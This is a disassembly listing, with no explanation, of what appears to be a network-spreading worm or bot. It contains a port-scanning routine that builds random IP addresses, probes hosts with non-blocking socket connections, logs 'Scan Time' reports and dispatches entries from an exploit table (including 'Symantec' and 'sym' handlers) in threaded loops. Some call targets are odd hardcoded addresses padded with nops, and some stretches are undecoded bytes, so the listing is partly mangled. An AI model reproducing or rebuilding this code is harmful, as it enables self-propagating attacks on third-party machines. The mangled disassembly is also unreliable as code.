		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_401ACD+2ACAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE3A4
		push	offset unk_431F04
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 28h
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DB	proc near		; CODE XREF: sub_401ACD+2AB4p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F50
		push	eax
		call	sub_41B886
		cmp	dword_431B00, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B847
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B810:				; CODE XREF: sub_40B7DB+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B810
		pop	esi


loc_40B847:				; CODE XREF: sub_40B7DB+2Dj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DB	endp

; ---------------------------------------------------------------------------
word_40B8A2	dw 8B55h		; DATA XREF: sub_401ACD+30E1o
		dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h,	0BD8D59F0h
		dd 0FFFFFECCh, 80C7A5F3h, 128h,	1, 0FECC858Dh, 0FF50FFFFh
		dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h
		dd 840F087Dh, 118h, 431B00BBh
		db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: ___:0040B9FEj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C088
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431FA0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98F
		lea	eax, [ebp-124h]


loc_40B98F:				; CODE XREF: ___:0040B987j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F4:				; CODE XREF: ___:0040B906j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F6C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		dw 0A9E8h
		db 45h,	2Eh, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA57	proc near		; CODE XREF: sub_401ACD+244Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_40BA93
		mov	eax, [ebp+arg_C]
		push	dword_4CB7A0[eax*8]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FF0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA6
; ---------------------------------------------------------------------------


loc_40BA93:				; CODE XREF: sub_40BA57+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431FD0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA6:				; CODE XREF: sub_40BA57+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		leave
		retn
sub_40BA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACE	proc near		; CODE XREF: sub_40C125+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BFA0
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431B0C[eax], ebx
		jz	loc_40BFA0
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BD55
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD85C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA6C, eax
		mov	dword_4CDA68, ebx
		nop
		call	near ptr 2680000h
		mov	edi, offset byte_429110
		push	103h
		push	edi
		push	offset dword_4CD960
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD858, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAF0, eax
		jnz	short loc_40BB81
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, 1
		jmp	short loc_40BB9B
; ---------------------------------------------------------------------------


loc_40BB81:				; CODE XREF: sub_40BACE+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, ebx


loc_40BB9B:				; CODE XREF: sub_40BACE+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA6C
		push	offset unk_42C55C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDA64, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD858
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, dword_4CDA64
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BC09


loc_40BBF7:				; CODE XREF: sub_40BACE+139j
		cmp	dword_4CDAF8, ebx
		jnz	short loc_40BC24
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_40BBF7
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BACE+127j
		call	near ptr 26908E1h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432110
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC24:				; CODE XREF: sub_40BACE+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		mov	eax, dword_4CB390
		mov	esi, offset dword_4CDB04
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDD14, eax
		mov	dword_4CDD10, ebx
		nop
		call	near ptr 2680000h
		push	103h
		push	edi
		push	offset dword_4CDC08
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB00, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD98, eax
		push	7Fh
		jnz	short loc_40BCA5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, 1
		jmp	short loc_40BCBF
; ---------------------------------------------------------------------------


loc_40BCA5:				; CODE XREF: sub_40BACE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, ebx


loc_40BCBF:				; CODE XREF: sub_40BACE+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDD14
		push	offset unk_4320DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDD0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB00
		push	offset word_40E992
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, dword_4CDD0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BD2D


loc_40BD1B:				; CODE XREF: sub_40BACE+25Dj
		cmp	dword_4CDDA0, ebx
		jnz	short loc_40BD48
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_40BD1B
; ---------------------------------------------------------------------------


loc_40BD2D:				; CODE XREF: sub_40BACE+24Bj
		nop
		call	near ptr 26908E1h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD48:				; CODE XREF: sub_40BACE+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BD55:				; CODE XREF: sub_40BACE+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431B14[ecx], ebx
		jz	loc_40BE7E
		push	7
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BE78
		mov	eax, dword_4CE39C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7C4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD7B8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7C0, ebx
		mov	dword_4CD848, eax
		push	7Fh
		jnz	short loc_40BDC9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, 1
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BDC9:				; CODE XREF: sub_40BACE+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, ebx


loc_40BDE3:				; CODE XREF: sub_40BACE+2F9j
		push	dword_4CD7C4
		lea	eax, [ebp+var_204]
		push	offset unk_432078
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	dword_4CD7BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD7B8
		push	offset dword_40E6F0
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4CD7BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BE50


loc_40BE3E:				; CODE XREF: sub_40BACE+380j
		cmp	dword_4CD850, ebx
		jnz	short loc_40BE6B
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_40BE3E
; ---------------------------------------------------------------------------


loc_40BE50:				; CODE XREF: sub_40BACE+36Ej
		nop
		call	near ptr 26908E1h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432040
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6B:				; CODE XREF: sub_40BACE+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BE78:				; CODE XREF: sub_40BACE+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7E:				; CODE XREF: sub_40BACE+298j
		shl	eax, 6
		cmp	dword_431B10[eax], ebx
		jz	loc_40BFA0
		push	3
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BFA0
		mov	esi, offset dword_4CE034
		push	104h
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBF
		mov	[eax], bl


loc_40BEBF:				; CODE XREF: sub_40BACE+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE14C, ebx
		mov	dword_4CE138, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDAC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDDA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE138
		mov	dword_4CE144, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE148, ecx
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	dword_4CE140, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDDA8
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, dword_4CE140
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BF78


loc_40BF66:				; CODE XREF: sub_40BACE+4A8j
		cmp	dword_4CE154, ebx
		jnz	short loc_40BF93
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_40BF66
; ---------------------------------------------------------------------------


loc_40BF78:				; CODE XREF: sub_40BACE+496j
		nop
		call	near ptr 26908E1h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43200C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF93:				; CODE XREF: sub_40BACE+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BFA0:				; CODE XREF: sub_40BACE+14j
					; sub_40BACE+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA4	proc near		; CODE XREF: sub_40C125:loc_40C196p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB7A0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB57C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB650
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEC	proc near		; CODE XREF: sub_40C125+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C014
		xor	eax, eax
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C014:				; CODE XREF: sub_40BFEC+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C041
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C041:				; CODE XREF: sub_40BFEC+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04E
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04E:				; CODE XREF: sub_40BFEC+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05B
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05B:				; CODE XREF: sub_40BFEC+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C067
		call	sub_41B8E2


loc_40C067:				; CODE XREF: sub_40BFEC+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB7A0[ecx*8], eax


loc_40C085:				; CODE XREF: sub_40BFEC+26j
		pop	esi
		leave
		retn
sub_40BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C088	proc near		; CODE XREF: ___:0040B8FBp
					; sub_40C125+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B1
		xor	eax, eax
		jmp	short loc_40C120
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40C088+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB654
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB63C
		push	esi
		mov	edi, eax
		call	dword_4CB6EC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C120:				; CODE XREF: sub_40C088+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C125	proc near		; DATA XREF: sub_40C125+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26A0871h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16C:				; CODE XREF: sub_40C125+204j
		mov	eax, dword_43E594[ebx]
		cmp	dword_4CB7A4[eax*8], 0
		jz	loc_40C32E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C196
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEC
		pop	ecx
		jmp	short loc_40C19B
; ---------------------------------------------------------------------------


loc_40C196:				; CODE XREF: sub_40C125+60j
		call	sub_40BFA4


loc_40C19B:				; CODE XREF: sub_40C125+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E594[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43216C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E390[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C088
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C272
		push	offset dword_4CD7A0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432144
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C254
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C248
		lea	eax, [ebp+var_140]


loc_40C248:				; CODE XREF: sub_40C125+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A73
		add	esp, 14h


loc_40C254:				; CODE XREF: sub_40C125+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AD
		mov	[esp+29Ch+var_29C], offset dword_4CD7A0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31E
; ---------------------------------------------------------------------------


loc_40C272:				; CODE XREF: sub_40C125+D0j
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B7
		lea	eax, [ebp+var_140]


loc_40C2B7:				; CODE XREF: sub_40C125+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431B04[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31E:				; CODE XREF: sub_40C125+C6j
					; sub_40C125+148j
		push	7D0h
		nop
		call	near ptr 2680F4Eh
		jmp	loc_40C16C
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40C125+55j
		push	esi
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h


loc_40C33D:				; DATA XREF: sub_401ACD+1F82o
					; sub_401ACD+5C49o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB694
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB7A0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACE
		push	0Bh
		call	sub_40B33F
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40B
		mov	esi, offset dword_4CD7A0
		push	esi
		nop
		call	near ptr 26F07F3h
		push	80000400h
		push	esi
		nop
		call	near ptr 26F05D5h
		test	eax, eax
		jnz	short loc_40C40B
		lea	eax, [ebp+var_1CC]
		push	offset unk_432250
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C3F5:				; CODE XREF: sub_40C125+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_40C125+27Bj
					; sub_40C125+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB7A4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D8


loc_40C429:				; CODE XREF: sub_40C125+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
